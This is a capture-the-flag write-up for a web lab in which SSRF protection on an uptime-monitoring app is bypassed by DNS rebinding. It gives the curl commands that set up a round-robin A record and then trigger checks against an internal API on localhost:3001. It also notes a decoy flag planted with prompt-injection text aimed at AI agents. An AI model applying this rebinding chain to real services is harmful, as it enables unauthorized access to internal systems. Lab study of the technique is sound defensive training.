Lab 89 — PingRadar — SSRF via DNS Rebinding (TOCTOU)
Lab 89 — PingRadar — SSRF via DNS Rebinding (TOCTOU)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: dns_rebinding_toctou, internal_service_enumeration, round_robin_dns_ssrf, time_of_check_time_of_use, url_validation_bypass
Summary
Walkthrough of the CUSTOM Web Lab 89 — PingRadar — SSRF via DNS Rebinding (TOCTOU). Task: PingRadar monitoring platform validates monitor URLs by resolving hostnames and checking against IP blocklist at creation time, but re-resolves DNS at check time (TOCTOU). Built-in DNS server su
Description
PingRadar is an infrastructure monitoring platform by RadarOps Inc. It provides URL uptime monitoring, DNS zone management, and alerting for web services. Users can create monitors to periodically check service availability and manage DNS records for their domains. The platform includes a built-in DNS server that handles zone resolution for all configured domains. Monitors validate target URLs by resolving hostnames and checking them against an internal IP blocklist before saving. Your goal is to find and exploit a vulnerability that allows you to bypass the URL validation and access internal services that should not be reachable from the outside. An internal API service runs alongside the main application to collect and serve system metrics.
Target: https://4f9be392-eee7-4d39-a3fe-18fa80d7aad2.labs.hackadvisor.io/ Credentials: user@test.com / password123
English summary: PingRadar is a Node.js/Express monitoring platform with a built-in DNS server (dns2 on port 5353). Users can create URL monitors and manage DNS zones with A records supporting round-robin mode. Monitor URLs are validated at creation time by resolving the hostname and checking the IP against a blocklist (127.x, 10.x, 192.168.x, etc.). However, when a monitor check is executed, the hostname is resolved again — creating a TOCTOU (Time-of-Check-Time-of-Use) window exploitable via DNS rebinding. An internal Metrics API on localhost:3001 holds the flag.
Analysis
Reconnaissance
After logging in with user@test.com / password123, explored the application:
-
Dashboard — Infrastructure monitoring overview with 8 pre-configured monitors.
-
Monitors (
/monitors) — URL uptime monitors. Each monitor has a "Run Check Now" button and shows full response body in check history. -
DNS Zones (
/dns-zones) — Manage DNS zones and records. Two pre-existing zones:demo.zoneandstaging.zone. Supports A, AAAA, CNAME, MX, TXT records. A records support round-robin mode with multiple IPs returned alternately on consecutive DNS queries. TTL=0 (no caching) is available. -
Settings (
/settings) — Reveals critical platform info:- DNS Resolver:
127.0.0.1:5353 - Check Engine:
axios/1.6.7 - Metrics API:
localhost:3001(internal target) - DNS Server:
dns2 (built-in) - Database: SQLite 3 (WAL)
- DNS Resolver:
-
Monitor Creation (
/monitors/create) — Form with name, URL, check interval, expected status, custom headers. Hint: "URL is validated server-side before saving. The hostname is resolved and checked against the internal network blocklist." -
Decoy Flag —
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded in hidden HTML on every page with prompt injection text targeting AI agents. This is fake.
Vulnerability: TOCTOU DNS Rebinding
The validation flow (confirmed from client-side app.js):
1. Hostname resolved via built-in DNS server (port 5353)
2. Resolved IP checked against internal network blocklist
3. Monitor saved if validation passes
4. When check runs, hostname is resolved AGAIN — result may differ
The TOCTOU (Time-of-Check-Time-of-Use) vulnerability:
| Phase | Action | DNS Result | Outcome |
|---|---|---|---|
| Time-of-Check (monitor creation) | Hostname resolved, IP checked against blocklist | 8.8.8.8 (public) | ✅ Passes validation |
| Time-of-Use (monitor check execution) | Hostname resolved again for HTTP request | 127.0.0.1 (internal) | 🎯 Hits internal service |
| |
The built-in DNS server with round-robin A records provides the DNS rebinding primitive:
- Configure a hostname with two IPs: one public (
8.8.8.8) and one internal (127.0.0.1) - Round-robin alternates which IP is returned on each DNS query
- TTL=0 ensures no caching — every query hits the DNS server
- ~50% chance per attempt that validation gets the public IP and the check gets the internal IP
Attack Flow Diagram
Attacker PingRadar App Built-in DNS (5353) Internal API (3001)
| | | |
|-- POST /monitors/create ---->| | |
| url=http://ssrf.rebind | | |
| .zone:3001/internal/flag | | |
| |-- DNS query: ssrf.rebind --->| |
| | .zone | |
| |<-- A: 8.8.8.8 (round-robin) | |
| | | |
| |-- Check blocklist: | |
| | 8.8.8.8 → NOT blocked ✓ | |
| | | |
|<-- 200 Monitor created ------| | |
| | | |
|-- POST /monitors/27/check ->| | |
| |-- DNS query: ssrf.rebind --->| |
| | .zone | |
| |<-- A: 127.0.0.1 (next RR) | |
| | | |
| |-- GET http://127.0.0.1:3001 ---------->| |
| | /internal/flag | | |
| |<-- {"flag":"FLAG{...}"} --------------| |
| | | |
|<-- Check result with body ---| | |
Solution
Step 1: Create a DNS Zone
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$BASE/dns-zones/create" \ -d "name=rebind.zone" # → Created zone with id=3
Step 2: Add Round-Robin A Record
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$BASE/dns-zones/3/records" \ -d "name=ssrf&type=A&value=8.8.8.8%2C127.0.0.1&ttl=0&round_robin=on"
This creates an A record for ssrf.rebind.zone that alternates between 8.8.8.8 and 127.0.0.1 on each DNS query. TTL=0 ensures no caching.
Step 3: Create Monitor Targeting Internal Service
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$BASE/monitors/create" \ -d "name=flag_test&url=http%3A%2F%2Fssrf.rebind.zone%3A3001%2Finternal%2Fflag&check_interval=1&expected_status=200&custom_headers="
Due to round-robin, this has a ~50% chance of passing validation (when DNS returns 8.8.8.8). If blocked with "Hostname resolves to a restricted address (127.0.0.1)", simply retry — the next attempt will return 8.8.8.8 and pass.
Monitor created as /monitors/27.
Step 4: Run Check and Extract Flag
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$BASE/monitors/27/check"
Again ~50% chance the check resolves to 127.0.0.1. If the check hits 8.8.8.8 instead (connection refused on port 3001), retry. View the monitor detail page to see check history with full response body.
Response from the internal service at 127.0.0.1:3001/internal/flag:
json read-only • copy allowed{"flag":"FLAG{REDACTED}","retrieved_at":"2026-05-03T09:00:01.040Z"}
Internal Service Enumeration
During exploitation, several paths were tested on the internal Metrics API (port 3001):
| Path | Status | Response |
|---|---|---|
/ | 404 | {"error":"endpoint not found"} |
/internal/metrics | 200 | System metrics: hostname, platform, arch, CPU, memory, network, uptime |
/internal/flag | 200 | Flag ✓ |
/internal/secrets | 404 | Not found |
/internal/config | 404 | Not found |
/health, /metrics, /status | 404 | Not found |
| |
Key Takeaways / Lessons
- Mastering dns_rebinding_toctou, internal_service_enumeration, round_robin_dns_ssrf, time_of_check_time_of_use, url_validation_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-03 • CUSTOM • Lab 89 — PingRadar — SSRF via DNS Rebinding (TOCTOU) • Difficulty: Medium